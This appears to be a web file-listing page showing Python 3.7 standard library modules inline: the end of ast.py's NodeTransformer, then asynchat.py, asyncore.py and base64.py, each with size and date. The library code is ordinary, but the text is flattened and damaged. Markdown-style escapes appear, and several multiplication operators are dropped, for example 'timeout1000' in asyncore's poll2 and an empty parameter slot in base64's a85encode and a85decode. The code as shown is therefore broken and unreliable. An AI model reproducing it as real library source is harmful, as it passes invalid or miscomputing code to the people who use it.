YourTransformer().visit(node) """ def generic_visit(self, node): for field, old_value in iter_fields(node): if isinstance(old_value, list): new_values = [] for value in old_value: if isinstance(value, AST): value = self.visit(value) if value is None: continue elif not isinstance(value, AST): new_values.extend(value) continue new_values.append(value) old_value[:] = new_values elif isinstance(old_value, AST): new_node = self.visit(old_value) if new_node is None: delattr(node, field) else: setattr(node, field, new_node) return node	12.54 KB	2024-04-17 17:55
📄 asynchat.py # -- Mode: Python; tab-width: 4 -- # Id: asynchat.py,v 2.26 2000/09/07 22:29:26 rushing Exp # Author: Sam Rushing <rushing@nightmare.com> # ====================================================================== # Copyright 1996 by Sam Rushing # # All Rights Reserved # # Permission to use, copy, modify, and distribute this software and # its documentation for any purpose and without fee is hereby # granted, provided that the above copyright notice appear in all # copies and that both that copyright notice and this permission # notice appear in supporting documentation, and that the name of Sam # Rushing not be used in advertising or publicity pertaining to # distribution of the software without specific, written prior # permission. # # SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, # INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN # NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, INDIRECT OR # CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS # OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, # NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN # CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # ====================================================================== r"""A class supporting chat-style (command/response) protocols. This class adds support for 'chat' style protocols - where one side sends a 'command', and the other sends a response (examples would be the common internet protocols - smtp, nntp, ftp, etc..). The handle_read() method looks at the input stream for the current 'terminator' (usually '\r\n' for single-line responses, '\r\n.\r\n' for multi-line output), calling self.found_terminator() on its receipt. for example: Say you build an async nntp client using this class. At the start of the connection, you'll have self.terminator set to '\r\n', in order to process the single-line greeting. Just before issuing a 'LIST' command you'll set it to '\r\n.\r\n'. The output of the LIST command will be accumulated (using your own 'collect_incoming_data' method) up to the terminator, and then control will be returned to you - by calling your self.found_terminator() method. """ import asyncore from collections import deque class async_chat(asyncore.dispatcher): """This is an abstract class. You must derive from this class, and add the two methods collect_incoming_data() and found_terminator()""" # these are overridable defaults ac_in_buffer_size = 65536 ac_out_buffer_size = 65536 # we don't want to enable the use of encoding by default, because that is a # sign of an application bug that we don't want to pass silently use_encoding = 0 encoding = 'latin-1' def __init__(self, sock=None, map=None): # for string terminator matching self.ac_in_buffer = b'' # we use a list here rather than io.BytesIO for a few reasons... # del lst[:] is faster than bio.truncate(0) # lst = [] is faster than bio.truncate(0) self.incoming = [] # we toss the use of the "simple producer" and replace it with # a pure deque, which the original fifo was a wrapping of self.producer_fifo = deque() asyncore.dispatcher.__init__(self, sock, map) def collect_incoming_data(self, data): raise NotImplementedError("must be implemented in subclass") def _collect_incoming_data(self, data): self.incoming.append(data) def _get_data(self): d = b''.join(self.incoming) del self.incoming[:] return d def found_terminator(self): raise NotImplementedError("must be implemented in subclass") def set_terminator(self, term): """Set the input delimiter. Can be a fixed string of any length, an integer, or None. """ if isinstance(term, str) and self.use_encoding: term = bytes(term, self.encoding) elif isinstance(term, int) and term < 0: raise ValueError('the number of received bytes must be positive') self.terminator = term def get_terminator(self): return self.terminator # grab some more data from the socket, # throw it to the collector method, # check for the terminator, # if found, transition to the next state. def handle_read(self): try: data = self.recv(self.ac_in_buffer_size) except BlockingIOError: return except OSError as why: self.handle_error() return if isinstance(data, str) and self.use_encoding: data = bytes(str, self.encoding) self.ac_in_buffer = self.ac_in_buffer + data # Continue to search for self.terminator in self.ac_in_buffer, # while calling self.collect_incoming_data. The while loop # is necessary because we might read several data+terminator # combos with a single recv(4096). while self.ac_in_buffer: lb = len(self.ac_in_buffer) terminator = self.get_terminator() if not terminator: # no terminator, collect it all self.collect_incoming_data(self.ac_in_buffer) self.ac_in_buffer = b'' elif isinstance(terminator, int): # numeric terminator n = terminator if lb < n: self.collect_incoming_data(self.ac_in_buffer) self.ac_in_buffer = b'' self.terminator = self.terminator - lb else: self.collect_incoming_data(self.ac_in_buffer[:n]) self.ac_in_buffer = self.ac_in_buffer[n:] self.terminator = 0 self.found_terminator() else: # 3 cases: # 1) end of buffer matches terminator exactly: # collect data, transition # 2) end of buffer matches some prefix: # collect data to the prefix # 3) end of buffer does not match any prefix: # collect data terminator_len = len(terminator) index = self.ac_in_buffer.find(terminator) if index != -1: # we found the terminator if index > 0: # don't bother reporting the empty string # (source of subtle bugs) self.collect_incoming_data(self.ac_in_buffer[:index]) self.ac_in_buffer = self.ac_in_buffer[index+terminator_len:] # This does the Right Thing if the terminator # is changed here. self.found_terminator() else: # check for a prefix of the terminator index = find_prefix_at_end(self.ac_in_buffer, terminator) if index: if index != lb: # we found a prefix, collect up to the prefix self.collect_incoming_data(self.ac_in_buffer[:-index]) self.ac_in_buffer = self.ac_in_buffer[-index:] break else: # no prefix, collect it all self.collect_incoming_data(self.ac_in_buffer) self.ac_in_buffer = b'' def handle_write(self): self.initiate_send() def handle_close(self): self.close() def push(self, data): if not isinstance(data, (bytes, bytearray, memoryview)): raise TypeError('data argument must be byte-ish (%r)', type(data)) sabs = self.ac_out_buffer_size if len(data) > sabs: for i in range(0, len(data), sabs): self.producer_fifo.append(data[i:i+sabs]) else: self.producer_fifo.append(data) self.initiate_send() def push_with_producer(self, producer): self.producer_fifo.append(producer) self.initiate_send() def readable(self): "predicate for inclusion in the readable for select()" # cannot use the old predicate, it violates the claim of the # set_terminator method. # return (len(self.ac_in_buffer) <= self.ac_in_buffer_size) return 1 def writable(self): "predicate for inclusion in the writable for select()" return self.producer_fifo or (not self.connected) def close_when_done(self): "automatically close this channel once the outgoing queue is empty" self.producer_fifo.append(None) def initiate_send(self): while self.producer_fifo and self.connected: first = self.producer_fifo[0] # handle empty string/buffer or None entry if not first: del self.producer_fifo[0] if first is None: self.handle_close() return # handle classic producer behavior obs = self.ac_out_buffer_size try: data = first[:obs] except TypeError: data = first.more() if data: self.producer_fifo.appendleft(data) else: del self.producer_fifo[0] continue if isinstance(data, str) and self.use_encoding: data = bytes(data, self.encoding) # send the data try: num_sent = self.send(data) except OSError: self.handle_error() return if num_sent: if num_sent < len(data) or obs < len(first): self.producer_fifo[0] = first[num_sent:] else: del self.producer_fifo[0] # we tried to send some actual data return def discard_buffers(self): # Emergencies only! self.ac_in_buffer = b'' del self.incoming[:] self.producer_fifo.clear() class simple_producer: def __init__(self, data, buffer_size=512): self.data = data self.buffer_size = buffer_size def more(self): if len(self.data) > self.buffer_size: result = self.data[:self.buffer_size] self.data = self.data[self.buffer_size:] return result else: result = self.data self.data = b'' return result # Given 'haystack', see if any prefix of 'needle' is at its end. This # assumes an exact match has already been checked. Return the number of # characters matched. # for example: # f_p_a_e("qwerty\r", "\r\n") => 1 # f_p_a_e("qwertydkjf", "\r\n") => 0 # f_p_a_e("qwerty\r\n", "\r\n") => <undefined> # this could maybe be made faster with a computed regex? # [answer: no; circa Python-2.0, Jan 2001] # new python: 28961/s # old python: 18307/s # re: 12820/s # regex: 14035/s def find_prefix_at_end(haystack, needle): l = len(needle) - 1 while l and not haystack.endswith(needle[:l]): l -= 1 return l	11.06 KB	2024-04-17 17:55
📁 asyncio	-	2025-10-13 08:00
📄 asyncore.py # -- Mode: Python -- # Id: asyncore.py,v 2.51 2000/09/07 22:29:26 rushing Exp # Author: Sam Rushing <rushing@nightmare.com> # ====================================================================== # Copyright 1996 by Sam Rushing # # All Rights Reserved # # Permission to use, copy, modify, and distribute this software and # its documentation for any purpose and without fee is hereby # granted, provided that the above copyright notice appear in all # copies and that both that copyright notice and this permission # notice appear in supporting documentation, and that the name of Sam # Rushing not be used in advertising or publicity pertaining to # distribution of the software without specific, written prior # permission. # # SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, # INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN # NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, INDIRECT OR # CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS # OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, # NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN # CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # ====================================================================== """Basic infrastructure for asynchronous socket service clients and servers. There are only two ways to have a program on a single processor do "more than one thing at a time". Multi-threaded programming is the simplest and most popular way to do it, but there is another very different technique, that lets you have nearly all the advantages of multi-threading, without actually using multiple threads. it's really only practical if your program is largely I/O bound. If your program is CPU bound, then pre-emptive scheduled threads are probably what you really need. Network servers are rarely CPU-bound, however. If your operating system supports the select() system call in its I/O library (and nearly all do), then you can use it to juggle multiple communication channels at once; doing other work while your I/O is taking place in the "background." Although this strategy can seem strange and complex, especially at first, it is in many ways easier to understand and control than multi-threaded programming. The module documented here solves many of the difficult problems for you, making the task of building sophisticated high-performance network servers and clients a snap. """ import select import socket import sys import time import warnings import os from errno import EALREADY, EINPROGRESS, EWOULDBLOCK, ECONNRESET, EINVAL, \ ENOTCONN, ESHUTDOWN, EISCONN, EBADF, ECONNABORTED, EPIPE, EAGAIN, \ errorcode _DISCONNECTED = frozenset({ECONNRESET, ENOTCONN, ESHUTDOWN, ECONNABORTED, EPIPE, EBADF}) try: socket_map except NameError: socket_map = {} def _strerror(err): try: return os.strerror(err) except (ValueError, OverflowError, NameError): if err in errorcode: return errorcode[err] return "Unknown error %s" %err class ExitNow(Exception): pass _reraised_exceptions = (ExitNow, KeyboardInterrupt, SystemExit) def read(obj): try: obj.handle_read_event() except _reraised_exceptions: raise except: obj.handle_error() def write(obj): try: obj.handle_write_event() except _reraised_exceptions: raise except: obj.handle_error() def _exception(obj): try: obj.handle_expt_event() except _reraised_exceptions: raise except: obj.handle_error() def readwrite(obj, flags): try: if flags & select.POLLIN: obj.handle_read_event() if flags & select.POLLOUT: obj.handle_write_event() if flags & select.POLLPRI: obj.handle_expt_event() if flags & (select.POLLHUP \| select.POLLERR \| select.POLLNVAL): obj.handle_close() except OSError as e: if e.args[0] not in _DISCONNECTED: obj.handle_error() else: obj.handle_close() except _reraised_exceptions: raise except: obj.handle_error() def poll(timeout=0.0, map=None): if map is None: map = socket_map if map: r = []; w = []; e = [] for fd, obj in list(map.items()): is_r = obj.readable() is_w = obj.writable() if is_r: r.append(fd) # accepting sockets should not be writable if is_w and not obj.accepting: w.append(fd) if is_r or is_w: e.append(fd) if [] == r == w == e: time.sleep(timeout) return r, w, e = select.select(r, w, e, timeout) for fd in r: obj = map.get(fd) if obj is None: continue read(obj) for fd in w: obj = map.get(fd) if obj is None: continue write(obj) for fd in e: obj = map.get(fd) if obj is None: continue _exception(obj) def poll2(timeout=0.0, map=None): # Use the poll() support added to the select module in Python 2.0 if map is None: map = socket_map if timeout is not None: # timeout is in milliseconds timeout = int(timeout1000) pollster = select.poll() if map: for fd, obj in list(map.items()): flags = 0 if obj.readable(): flags \|= select.POLLIN \| select.POLLPRI # accepting sockets should not be writable if obj.writable() and not obj.accepting: flags \|= select.POLLOUT if flags: pollster.register(fd, flags) r = pollster.poll(timeout) for fd, flags in r: obj = map.get(fd) if obj is None: continue readwrite(obj, flags) poll3 = poll2 # Alias for backward compatibility def loop(timeout=30.0, use_poll=False, map=None, count=None): if map is None: map = socket_map if use_poll and hasattr(select, 'poll'): poll_fun = poll2 else: poll_fun = poll if count is None: while map: poll_fun(timeout, map) else: while map and count > 0: poll_fun(timeout, map) count = count - 1 class dispatcher: debug = False connected = False accepting = False connecting = False closing = False addr = None ignore_log_types = frozenset({'warning'}) def __init__(self, sock=None, map=None): if map is None: self._map = socket_map else: self._map = map self._fileno = None if sock: # Set to nonblocking just to make sure for cases where we # get a socket from a blocking source. sock.setblocking(0) self.set_socket(sock, map) self.connected = True # The constructor no longer requires that the socket # passed be connected. try: self.addr = sock.getpeername() except OSError as err: if err.args[0] in (ENOTCONN, EINVAL): # To handle the case where we got an unconnected # socket. self.connected = False else: # The socket is broken in some unknown way, alert # the user and remove it from the map (to prevent # polling of broken sockets). self.del_channel(map) raise else: self.socket = None def __repr__(self): status = [self.__class__.__module__+"."+self.__class__.__qualname__] if self.accepting and self.addr: status.append('listening') elif self.connected: status.append('connected') if self.addr is not None: try: status.append('%s:%d' % self.addr) except TypeError: status.append(repr(self.addr)) return '<%s at %#x>' % (' '.join(status), id(self)) __str__ = __repr__ def add_channel(self, map=None): #self.log_info('adding channel %s' % self) if map is None: map = self._map map[self._fileno] = self def del_channel(self, map=None): fd = self._fileno if map is None: map = self._map if fd in map: #self.log_info('closing channel %d:%s' % (fd, self)) del map[fd] self._fileno = None def create_socket(self, family=socket.AF_INET, type=socket.SOCK_STREAM): self.family_and_type = family, type sock = socket.socket(family, type) sock.setblocking(0) self.set_socket(sock) def set_socket(self, sock, map=None): self.socket = sock self._fileno = sock.fileno() self.add_channel(map) def set_reuse_addr(self): # try to re-use a server port if possible try: self.socket.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, self.socket.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR) \| 1 ) except OSError: pass # ================================================== # predicates for select() # these are used as filters for the lists of sockets # to pass to select(). # ================================================== def readable(self): return True def writable(self): return True # ================================================== # socket object methods. # ================================================== def listen(self, num): self.accepting = True if os.name == 'nt' and num > 5: num = 5 return self.socket.listen(num) def bind(self, addr): self.addr = addr return self.socket.bind(addr) def connect(self, address): self.connected = False self.connecting = True err = self.socket.connect_ex(address) if err in (EINPROGRESS, EALREADY, EWOULDBLOCK) \ or err == EINVAL and os.name == 'nt': self.addr = address return if err in (0, EISCONN): self.addr = address self.handle_connect_event() else: raise OSError(err, errorcode[err]) def accept(self): # XXX can return either an address pair or None try: conn, addr = self.socket.accept() except TypeError: return None except OSError as why: if why.args[0] in (EWOULDBLOCK, ECONNABORTED, EAGAIN): return None else: raise else: return conn, addr def send(self, data): try: result = self.socket.send(data) return result except OSError as why: if why.args[0] == EWOULDBLOCK: return 0 elif why.args[0] in _DISCONNECTED: self.handle_close() return 0 else: raise def recv(self, buffer_size): try: data = self.socket.recv(buffer_size) if not data: # a closed connection is indicated by signaling # a read condition, and having recv() return 0. self.handle_close() return b'' else: return data except OSError as why: # winsock sometimes raises ENOTCONN if why.args[0] in _DISCONNECTED: self.handle_close() return b'' else: raise def close(self): self.connected = False self.accepting = False self.connecting = False self.del_channel() if self.socket is not None: try: self.socket.close() except OSError as why: if why.args[0] not in (ENOTCONN, EBADF): raise # log and log_info may be overridden to provide more sophisticated # logging and warning methods. In general, log is for 'hit' logging # and 'log_info' is for informational, warning and error logging. def log(self, message): sys.stderr.write('log: %s\n' % str(message)) def log_info(self, message, type='info'): if type not in self.ignore_log_types: print('%s: %s' % (type, message)) def handle_read_event(self): if self.accepting: # accepting sockets are never connected, they "spawn" new # sockets that are connected self.handle_accept() elif not self.connected: if self.connecting: self.handle_connect_event() self.handle_read() else: self.handle_read() def handle_connect_event(self): err = self.socket.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) if err != 0: raise OSError(err, _strerror(err)) self.handle_connect() self.connected = True self.connecting = False def handle_write_event(self): if self.accepting: # Accepting sockets shouldn't get a write event. # We will pretend it didn't happen. return if not self.connected: if self.connecting: self.handle_connect_event() self.handle_write() def handle_expt_event(self): # handle_expt_event() is called if there might be an error on the # socket, or if there is OOB data # check for the error condition first err = self.socket.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) if err != 0: # we can get here when select.select() says that there is an # exceptional condition on the socket # since there is an error, we'll go ahead and close the socket # like we would in a subclassed handle_read() that received no # data self.handle_close() else: self.handle_expt() def handle_error(self): nil, t, v, tbinfo = compact_traceback() # sometimes a user repr method will crash. try: self_repr = repr(self) except: self_repr = '<__repr__(self) failed for object at %0x>' % id(self) self.log_info( 'uncaptured python exception, closing channel %s (%s:%s %s)' % ( self_repr, t, v, tbinfo ), 'error' ) self.handle_close() def handle_expt(self): self.log_info('unhandled incoming priority event', 'warning') def handle_read(self): self.log_info('unhandled read event', 'warning') def handle_write(self): self.log_info('unhandled write event', 'warning') def handle_connect(self): self.log_info('unhandled connect event', 'warning') def handle_accept(self): pair = self.accept() if pair is not None: self.handle_accepted(pair) def handle_accepted(self, sock, addr): sock.close() self.log_info('unhandled accepted event', 'warning') def handle_close(self): self.log_info('unhandled close event', 'warning') self.close() # --------------------------------------------------------------------------- # adds simple buffered output capability, useful for simple clients. # [for more sophisticated usage use asynchat.async_chat] # --------------------------------------------------------------------------- class dispatcher_with_send(dispatcher): def __init__(self, sock=None, map=None): dispatcher.__init__(self, sock, map) self.out_buffer = b'' def initiate_send(self): num_sent = 0 num_sent = dispatcher.send(self, self.out_buffer[:65536]) self.out_buffer = self.out_buffer[num_sent:] def handle_write(self): self.initiate_send() def writable(self): return (not self.connected) or len(self.out_buffer) def send(self, data): if self.debug: self.log_info('sending %s' % repr(data)) self.out_buffer = self.out_buffer + data self.initiate_send() # --------------------------------------------------------------------------- # used for debugging. # --------------------------------------------------------------------------- def compact_traceback(): t, v, tb = sys.exc_info() tbinfo = [] if not tb: # Must have a traceback raise AssertionError("traceback does not exist") while tb: tbinfo.append(( tb.tb_frame.f_code.co_filename, tb.tb_frame.f_code.co_name, str(tb.tb_lineno) )) tb = tb.tb_next # just to be safe del tb file, function, line = tbinfo[-1] info = ' '.join(['[%s\|%s\|%s]' % x for x in tbinfo]) return (file, function, line), t, v, info def close_all(map=None, ignore_all=False): if map is None: map = socket_map for x in list(map.values()): try: x.close() except OSError as x: if x.args[0] == EBADF: pass elif not ignore_all: raise except _reraised_exceptions: raise except: if not ignore_all: raise map.clear() # Asynchronous File I/O: # # After a little research (reading man pages on various unixen, and # digging through the linux kernel), I've determined that select() # isn't meant for doing asynchronous file i/o. # Heartening, though - reading linux/mm/filemap.c shows that linux # supports asynchronous read-ahead. So _MOST_ of the time, the data # will be sitting in memory for us already when we go to read it. # # What other OS's (besides NT) support async file i/o? [VMS?] # # Regardless, this is useful for pipes, and stdin/stdout... if os.name == 'posix': class file_wrapper: # Here we override just enough to make a file # look like a socket for the purposes of asyncore. # The passed fd is automatically os.dup()'d def __init__(self, fd): self.fd = os.dup(fd) def __del__(self): if self.fd >= 0: warnings.warn("unclosed file %r" % self, ResourceWarning, source=self) self.close() def recv(self, args): return os.read(self.fd, args) def send(self, args): return os.write(self.fd, args) def getsockopt(self, level, optname, buflen=None): if (level == socket.SOL_SOCKET and optname == socket.SO_ERROR and not buflen): return 0 raise NotImplementedError("Only asyncore specific behaviour " "implemented.") read = recv write = send def close(self): if self.fd < 0: return fd = self.fd self.fd = -1 os.close(fd) def fileno(self): return self.fd class file_dispatcher(dispatcher): def __init__(self, fd, map=None): dispatcher.__init__(self, None, map) self.connected = True try: fd = fd.fileno() except AttributeError: pass self.set_file(fd) # set it to non-blocking mode os.set_blocking(fd, False) def set_file(self, fd): self.socket = file_wrapper(fd) self._fileno = self.socket.fileno() self.add_channel()	19.65 KB	2024-04-17 17:55
📄 base64.py #! /opt/alt/python37/bin/python3.7 """Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings""" # Modified 04-Oct-1995 by Jack Jansen to use binascii module # Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support # Modified 22-May-2007 by Guido van Rossum to use bytes everywhere import re import struct import binascii __all__ = [ # Legacy interface exports traditional RFC 2045 Base64 encodings 'encode', 'decode', 'encodebytes', 'decodebytes', # Generalized interface for other encodings 'b64encode', 'b64decode', 'b32encode', 'b32decode', 'b16encode', 'b16decode', # Base85 and Ascii85 encodings 'b85encode', 'b85decode', 'a85encode', 'a85decode', # Standard Base64 encoding 'standard_b64encode', 'standard_b64decode', # Some common Base64 alternatives. As referenced by RFC 3458, see thread # starting at: # # http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html 'urlsafe_b64encode', 'urlsafe_b64decode', ] bytes_types = (bytes, bytearray) # Types acceptable as binary data def _bytes_from_decode_data(s): if isinstance(s, str): try: return s.encode('ascii') except UnicodeEncodeError: raise ValueError('string argument should contain only ASCII characters') if isinstance(s, bytes_types): return s try: return memoryview(s).tobytes() except TypeError: raise TypeError("argument should be a bytes-like object or ASCII " "string, not %r" % s.__class__.__name__) from None # Base64 encoding/decoding uses binascii def b64encode(s, altchars=None): """Encode the bytes-like object s using Base64 and return a bytes object. Optional altchars should be a byte string of length 2 which specifies an alternative alphabet for the '+' and '/' characters. This allows an application to e.g. generate url or filesystem safe Base64 strings. """ encoded = binascii.b2a_base64(s, newline=False) if altchars is not None: assert len(altchars) == 2, repr(altchars) return encoded.translate(bytes.maketrans(b'+/', altchars)) return encoded def b64decode(s, altchars=None, validate=False): """Decode the Base64 encoded bytes-like object or ASCII string s. Optional altchars must be a bytes-like object or ASCII string of length 2 which specifies the alternative alphabet used instead of the '+' and '/' characters. The result is returned as a bytes object. A binascii.Error is raised if s is incorrectly padded. If validate is False (the default), characters that are neither in the normal base-64 alphabet nor the alternative alphabet are discarded prior to the padding check. If validate is True, these non-alphabet characters in the input result in a binascii.Error. """ s = _bytes_from_decode_data(s) if altchars is not None: altchars = _bytes_from_decode_data(altchars) assert len(altchars) == 2, repr(altchars) s = s.translate(bytes.maketrans(altchars, b'+/')) if validate and not re.fullmatch(b'[A-Za-z0-9+/]={0,2}', s): raise binascii.Error('Non-base64 digit found') return binascii.a2b_base64(s) def standard_b64encode(s): """Encode bytes-like object s using the standard Base64 alphabet. The result is returned as a bytes object. """ return b64encode(s) def standard_b64decode(s): """Decode bytes encoded with the standard Base64 alphabet. Argument s is a bytes-like object or ASCII string to decode. The result is returned as a bytes object. A binascii.Error is raised if the input is incorrectly padded. Characters that are not in the standard alphabet are discarded prior to the padding check. """ return b64decode(s) _urlsafe_encode_translation = bytes.maketrans(b'+/', b'-_') _urlsafe_decode_translation = bytes.maketrans(b'-_', b'+/') def urlsafe_b64encode(s): """Encode bytes using the URL- and filesystem-safe Base64 alphabet. Argument s is a bytes-like object to encode. The result is returned as a bytes object. The alphabet uses '-' instead of '+' and '_' instead of '/'. """ return b64encode(s).translate(_urlsafe_encode_translation) def urlsafe_b64decode(s): """Decode bytes using the URL- and filesystem-safe Base64 alphabet. Argument s is a bytes-like object or ASCII string to decode. The result is returned as a bytes object. A binascii.Error is raised if the input is incorrectly padded. Characters that are not in the URL-safe base-64 alphabet, and are not a plus '+' or slash '/', are discarded prior to the padding check. The alphabet uses '-' instead of '+' and '_' instead of '/'. """ s = _bytes_from_decode_data(s) s = s.translate(_urlsafe_decode_translation) return b64decode(s) # Base32 encoding/decoding must be done in Python _b32alphabet = b'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567' _b32tab2 = None _b32rev = None def b32encode(s): """Encode the bytes-like object s using Base32 and return a bytes object. """ global _b32tab2 # Delay the initialization of the table to not waste memory # if the function is never called if _b32tab2 is None: b32tab = [bytes((i,)) for i in _b32alphabet] _b32tab2 = [a + b for a in b32tab for b in b32tab] b32tab = None if not isinstance(s, bytes_types): s = memoryview(s).tobytes() leftover = len(s) % 5 # Pad the last quantum with zero bits if necessary if leftover: s = s + b'\0' (5 - leftover) # Don't use += ! encoded = bytearray() from_bytes = int.from_bytes b32tab2 = _b32tab2 for i in range(0, len(s), 5): c = from_bytes(s[i: i + 5], 'big') encoded += (b32tab2[c >> 30] + # bits 1 - 10 b32tab2[(c >> 20) & 0x3ff] + # bits 11 - 20 b32tab2[(c >> 10) & 0x3ff] + # bits 21 - 30 b32tab2[c & 0x3ff] # bits 31 - 40 ) # Adjust for any leftover partial quanta if leftover == 1: encoded[-6:] = b'======' elif leftover == 2: encoded[-4:] = b'====' elif leftover == 3: encoded[-3:] = b'===' elif leftover == 4: encoded[-1:] = b'=' return bytes(encoded) def b32decode(s, casefold=False, map01=None): """Decode the Base32 encoded bytes-like object or ASCII string s. Optional casefold is a flag specifying whether a lowercase alphabet is acceptable as input. For security purposes, the default is False. RFC 3548 allows for optional mapping of the digit 0 (zero) to the letter O (oh), and for optional mapping of the digit 1 (one) to either the letter I (eye) or letter L (el). The optional argument map01 when not None, specifies which letter the digit 1 should be mapped to (when map01 is not None, the digit 0 is always mapped to the letter O). For security purposes the default is None, so that 0 and 1 are not allowed in the input. The result is returned as a bytes object. A binascii.Error is raised if the input is incorrectly padded or if there are non-alphabet characters present in the input. """ global _b32rev # Delay the initialization of the table to not waste memory # if the function is never called if _b32rev is None: _b32rev = {v: k for k, v in enumerate(_b32alphabet)} s = _bytes_from_decode_data(s) if len(s) % 8: raise binascii.Error('Incorrect padding') # Handle section 2.4 zero and one mapping. The flag map01 will be either # False, or the character to map the digit 1 (one) to. It should be # either L (el) or I (eye). if map01 is not None: map01 = _bytes_from_decode_data(map01) assert len(map01) == 1, repr(map01) s = s.translate(bytes.maketrans(b'01', b'O' + map01)) if casefold: s = s.upper() # Strip off pad characters from the right. We need to count the pad # characters because this will tell us how many null bytes to remove from # the end of the decoded string. l = len(s) s = s.rstrip(b'=') padchars = l - len(s) # Now decode the full quanta decoded = bytearray() b32rev = _b32rev for i in range(0, len(s), 8): quanta = s[i: i + 8] acc = 0 try: for c in quanta: acc = (acc << 5) + b32rev[c] except KeyError: raise binascii.Error('Non-base32 digit found') from None decoded += acc.to_bytes(5, 'big') # Process the last, partial quanta if l % 8 or padchars not in {0, 1, 3, 4, 6}: raise binascii.Error('Incorrect padding') if padchars and decoded: acc <<= 5 * padchars last = acc.to_bytes(5, 'big') leftover = (43 - 5 * padchars) // 8 # 1: 4, 3: 3, 4: 2, 6: 1 decoded[-5:] = last[:leftover] return bytes(decoded) # RFC 3548, Base 16 Alphabet specifies uppercase, but hexlify() returns # lowercase. The RFC also recommends against accepting input case # insensitively. def b16encode(s): """Encode the bytes-like object s using Base16 and return a bytes object. """ return binascii.hexlify(s).upper() def b16decode(s, casefold=False): """Decode the Base16 encoded bytes-like object or ASCII string s. Optional casefold is a flag specifying whether a lowercase alphabet is acceptable as input. For security purposes, the default is False. The result is returned as a bytes object. A binascii.Error is raised if s is incorrectly padded or if there are non-alphabet characters present in the input. """ s = _bytes_from_decode_data(s) if casefold: s = s.upper() if re.search(b'[^0-9A-F]', s): raise binascii.Error('Non-base16 digit found') return binascii.unhexlify(s) # # Ascii85 encoding/decoding # _a85chars = None _a85chars2 = None _A85START = b"<~" _A85END = b"~>" def _85encode(b, chars, chars2, pad=False, foldnuls=False, foldspaces=False): # Helper function for a85encode and b85encode if not isinstance(b, bytes_types): b = memoryview(b).tobytes() padding = (-len(b)) % 4 if padding: b = b + b'\0' * padding words = struct.Struct('!%dI' % (len(b) // 4)).unpack(b) chunks = [b'z' if foldnuls and not word else b'y' if foldspaces and word == 0x20202020 else (chars2[word // 614125] + chars2[word // 85 % 7225] + chars[word % 85]) for word in words] if padding and not pad: if chunks[-1] == b'z': chunks[-1] = chars[0] * 5 chunks[-1] = chunks[-1][:-padding] return b''.join(chunks) def a85encode(b, , foldspaces=False, wrapcol=0, pad=False, adobe=False): """Encode bytes-like object b using Ascii85 and return a bytes object. foldspaces is an optional flag that uses the special short sequence 'y' instead of 4 consecutive spaces (ASCII 0x20) as supported by 'btoa'. This feature is not supported by the "standard" Adobe encoding. wrapcol controls whether the output should have newline (b'\\n') characters added to it. If this is non-zero, each output line will be at most this many characters long. pad controls whether the input is padded to a multiple of 4 before encoding. Note that the btoa implementation always pads. adobe controls whether the encoded byte sequence is framed with <~ and ~>, which is used by the Adobe implementation. """ global _a85chars, _a85chars2 # Delay the initialization of tables to not waste memory # if the function is never called if _a85chars is None: _a85chars = [bytes((i,)) for i in range(33, 118)] _a85chars2 = [(a + b) for a in _a85chars for b in _a85chars] result = _85encode(b, _a85chars, _a85chars2, pad, True, foldspaces) if adobe: result = _A85START + result if wrapcol: wrapcol = max(2 if adobe else 1, wrapcol) chunks = [result[i: i + wrapcol] for i in range(0, len(result), wrapcol)] if adobe: if len(chunks[-1]) + 2 > wrapcol: chunks.append(b'') result = b'\n'.join(chunks) if adobe: result += _A85END return result def a85decode(b, , foldspaces=False, adobe=False, ignorechars=b' \t\n\r\v'): """Decode the Ascii85 encoded bytes-like object or ASCII string b. foldspaces is a flag that specifies whether the 'y' short sequence should be accepted as shorthand for 4 consecutive spaces (ASCII 0x20). This feature is not supported by the "standard" Adobe encoding. adobe controls whether the input sequence is in Adobe Ascii85 format (i.e. is framed with <~ and ~>). ignorechars should be a byte string containing characters to ignore from the input. This should only contain whitespace characters, and by default contains all whitespace characters in ASCII. The result is returned as a bytes object. """ b = _bytes_from_decode_data(b) if adobe: if not b.endswith(_A85END): raise ValueError( "Ascii85 encoded byte sequences must end " "with {!r}".format(_A85END) ) if b.startswith(_A85START): b = b[2:-2] # Strip off start/end markers else: b = b[:-2] # # We have to go through this stepwise, so as to ignore spaces and handle # special short sequences # packI = struct.Struct('!I').pack decoded = [] decoded_append = decoded.append curr = [] curr_append = curr.append curr_clear = curr.clear for x in b + b'u' * 4: if b'!'[0] <= x <= b'u'[0]: curr_append(x) if len(curr) == 5: acc = 0 for x in curr: acc = 85 * acc + (x - 33) try: decoded_append(packI(acc)) except struct.error: raise ValueError('Ascii85 overflow') from None curr_clear() elif x == b'z'[0]: if curr: raise ValueError('z inside Ascii85 5-tuple') decoded_append(b'\0\0\0\0') elif foldspaces and x == b'y'[0]: if curr: raise ValueError('y inside Ascii85 5-tuple') decoded_append(b'\x20\x20\x20\x20') elif x in ignorechars: # Skip whitespace continue else: raise ValueError('Non-Ascii85 digit found: %c' % x) result = b''.join(decoded) padding = 4 - len(curr) if padding: # Throw away the extra padding result = result[:-padding] return result 